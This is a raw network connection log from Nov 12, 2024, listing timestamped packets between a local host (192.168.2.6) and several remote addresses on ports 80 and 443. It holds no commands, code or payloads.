Nov 12, 2024 10:37:33.751827002 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.751854897 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.752340078 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.752352953 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.752370119 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.752382040 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.752386093 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.752394915 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.752403975 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.752425909 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.752743006 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.752754927 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.752764940 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.752778053 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.752789021 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.752800941 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.752804995 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.752813101 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.752825022 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.752826929 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.752840996 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.752840996 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.752859116 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.752882004 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.753343105 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.753356934 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.753365040 CET	49940	443	192.168.2.6	3.170.115.57
Nov 12, 2024 10:37:33.753369093 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.753401995 CET	443	49940	3.170.115.57	192.168.2.6
Nov 12, 2024 10:37:33.753416061 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.753432035 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.753474951 CET	49940	443	192.168.2.6	3.170.115.57
Nov 12, 2024 10:37:33.753644943 CET	49940	443	192.168.2.6	3.170.115.57
Nov 12, 2024 10:37:33.753660917 CET	443	49940	3.170.115.57	192.168.2.6
Nov 12, 2024 10:37:33.774480104 CET	49927	443	192.168.2.6	20.125.209.212
Nov 12, 2024 10:37:33.815002918 CET	443	49929	20.75.60.91	192.168.2.6
Nov 12, 2024 10:37:33.815234900 CET	49929	443	192.168.2.6	20.75.60.91
Nov 12, 2024 10:37:33.815282106 CET	443	49929	20.75.60.91	192.168.2.6
Nov 12, 2024 10:37:33.817456961 CET	443	49929	20.75.60.91	192.168.2.6
Nov 12, 2024 10:37:33.817547083 CET	49929	443	192.168.2.6	20.75.60.91
Nov 12, 2024 10:37:33.818536043 CET	49929	443	192.168.2.6	20.75.60.91
Nov 12, 2024 10:37:33.818722010 CET	443	49929	20.75.60.91	192.168.2.6
Nov 12, 2024 10:37:33.818728924 CET	49929	443	192.168.2.6	20.75.60.91
Nov 12, 2024 10:37:33.863333941 CET	443	49929	20.75.60.91	192.168.2.6
Nov 12, 2024 10:37:33.866995096 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.867052078 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.867063999 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.867083073 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.867124081 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.867206097 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.867218018 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.867291927 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.867360115 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.867377996 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.867425919 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.867496014 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.867532969 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.867580891 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.867732048 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.867739916 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.867762089 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.867785931 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.867800951 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.867882013 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.867892981 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.867953062 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.867953062 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.867965937 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.868000984 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.868149042 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.868160963 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.868172884 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.868201017 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.868252039 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.868275881 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.868309021 CET	49929	443	192.168.2.6	20.75.60.91
Nov 12, 2024 10:37:33.868336916 CET	443	49929	20.75.60.91	192.168.2.6
Nov 12, 2024 10:37:33.868350983 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.868364096 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.868376970 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.868386984 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.868401051 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.868407011 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.868412971 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.868427038 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.868452072 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.868736982 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.868748903 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.868760109 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.868771076 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.868784904 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.868796110 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.868801117 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.868837118 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.869168997 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.869180918 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.869191885 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.869204044 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.869215012 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.869223118 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.869227886 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.869240046 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.869242907 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.869252920 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.869263887 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.869270086 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.869292021 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.869306087 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.869796038 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.869807959 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.869818926 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.869832993 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.869846106 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.869846106 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.869863033 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.869875908 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.869882107 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.869887114 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.869899988 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.869901896 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.869924068 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.869950056 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.870418072 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.870429039 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.870440006 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.870450974 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.870462894 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.870465994 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.870475054 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.870486975 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.870497942 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.870503902 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.870508909 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.870527029 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.870536089 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.870563030 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.877264023 CET	443	49927	20.125.209.212	192.168.2.6
Nov 12, 2024 10:37:33.893477917 CET	443	49930	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.893774986 CET	49930	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.893801928 CET	443	49930	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.893949986 CET	443	49932	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.894273043 CET	49932	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.894298077 CET	443	49932	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.894845963 CET	443	49930	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.894903898 CET	49930	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.895287037 CET	443	49932	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.895349979 CET	49932	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.895983934 CET	49930	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.896053076 CET	443	49930	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.896136045 CET	49932	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.896209955 CET	443	49932	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.896323919 CET	49930	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.896332026 CET	443	49930	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.896364927 CET	49932	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.896377087 CET	443	49932	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.898612022 CET	443	49931	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.898812056 CET	49931	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.898824930 CET	443	49931	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.899142027 CET	443	49931	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.899456978 CET	49931	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.899516106 CET	443	49931	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.899621964 CET	49931	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.902427912 CET	443	49927	20.125.209.212	192.168.2.6
Nov 12, 2024 10:37:33.902648926 CET	49927	443	192.168.2.6	20.125.209.212
Nov 12, 2024 10:37:33.903886080 CET	49927	443	192.168.2.6	20.125.209.212
Nov 12, 2024 10:37:33.903898001 CET	443	49927	20.125.209.212	192.168.2.6
Nov 12, 2024 10:37:33.904103041 CET	443	49934	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.904483080 CET	49934	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.904509068 CET	443	49934	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.905510902 CET	443	49934	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.905575991 CET	49934	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.905947924 CET	49934	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.906022072 CET	443	49934	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.906080961 CET	49934	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.906097889 CET	443	49934	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.911535025 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.911554098 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.911647081 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.911648035 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.915128946 CET	49929	443	192.168.2.6	20.75.60.91
Nov 12, 2024 10:37:33.931468964 CET	443	49933	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.931730032 CET	49933	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.931746960 CET	443	49933	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.933012009 CET	443	49933	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.933079004 CET	49933	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.933423996 CET	49933	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.933486938 CET	443	49933	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.933617115 CET	49933	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.933625937 CET	443	49933	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.943336964 CET	443	49931	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:33.946368933 CET	49932	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.946387053 CET	49930	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.947004080 CET	49934	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.947042942 CET	49931	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.977632999 CET	49933	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:33.983978987 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.984002113 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.984014988 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.984078884 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.984215975 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.984229088 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.984241009 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.984255075 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.984270096 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.984286070 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.984375954 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.984415054 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.984745979 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.984791994 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.984800100 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.984811068 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.984842062 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.984920979 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.984932899 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.984945059 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.984956980 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.984967947 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.984994888 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.985472918 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.985486984 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.985497952 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.985510111 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.985519886 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.985522032 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.985533953 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.985544920 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.985547066 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.985559940 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.985560894 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.985585928 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.985609055 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.985763073 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.985775948 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.985807896 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.985811949 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.985824108 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.985842943 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.985855103 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.985867023 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.985891104 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.986144066 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.986156940 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.986227036 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.986227989 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.986238956 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.986251116 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.986263990 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.986275911 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.986288071 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.986294985 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.986306906 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.986323118 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.986732006 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.986745119 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.986766100 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.986777067 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.986778975 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.986789942 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.986803055 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.986809015 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.986824989 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.986850023 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.987004042 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.987021923 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.987035990 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.987046957 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.987047911 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.987061977 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.987065077 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.987075090 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.987080097 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.987102985 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.987121105 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.987430096 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.987442017 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.987452984 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.987466097 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.987478018 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.987489939 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.987490892 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.987514973 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.987530947 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.989170074 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.989229918 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.989231110 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.989243031 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.989275932 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.989309072 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.989321947 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.989402056 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.989423037 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.989434958 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:33.989469051 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:33.993730068 CET	443	49929	20.75.60.91	192.168.2.6
Nov 12, 2024 10:37:34.019565105 CET	443	49930	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.019593954 CET	443	49930	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.019659996 CET	443	49930	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.019905090 CET	49930	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.020447969 CET	49930	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.020474911 CET	443	49930	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.021055937 CET	443	49932	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.021133900 CET	443	49932	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.021311998 CET	49932	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.023797989 CET	49932	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.023835897 CET	443	49932	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.027493954 CET	443	49931	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.027520895 CET	443	49931	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.027590036 CET	443	49931	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.027631044 CET	49931	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.027661085 CET	49931	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.031481028 CET	443	49929	20.75.60.91	192.168.2.6
Nov 12, 2024 10:37:34.031662941 CET	49929	443	192.168.2.6	20.75.60.91
Nov 12, 2024 10:37:34.032869101 CET	49929	443	192.168.2.6	20.75.60.91
Nov 12, 2024 10:37:34.032890081 CET	443	49929	20.75.60.91	192.168.2.6
Nov 12, 2024 10:37:34.033804893 CET	49931	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.033813953 CET	443	49931	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.034029961 CET	443	49934	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.034050941 CET	443	49934	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.034080982 CET	443	49934	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.034097910 CET	443	49934	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.034101009 CET	49934	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.034149885 CET	49934	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.038680077 CET	49942	443	192.168.2.6	20.75.60.91
Nov 12, 2024 10:37:34.038713932 CET	443	49942	20.75.60.91	192.168.2.6
Nov 12, 2024 10:37:34.038896084 CET	49942	443	192.168.2.6	20.75.60.91
Nov 12, 2024 10:37:34.039190054 CET	49942	443	192.168.2.6	20.75.60.91
Nov 12, 2024 10:37:34.039205074 CET	443	49942	20.75.60.91	192.168.2.6
Nov 12, 2024 10:37:34.045317888 CET	49934	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.045342922 CET	443	49934	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.049343109 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.049385071 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.049537897 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.049570084 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.049582958 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.049608946 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.050102949 CET	49945	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.050128937 CET	443	49945	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.050285101 CET	49945	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.050322056 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.050343990 CET	443	49944	23.47.50.145	192.168.2.6
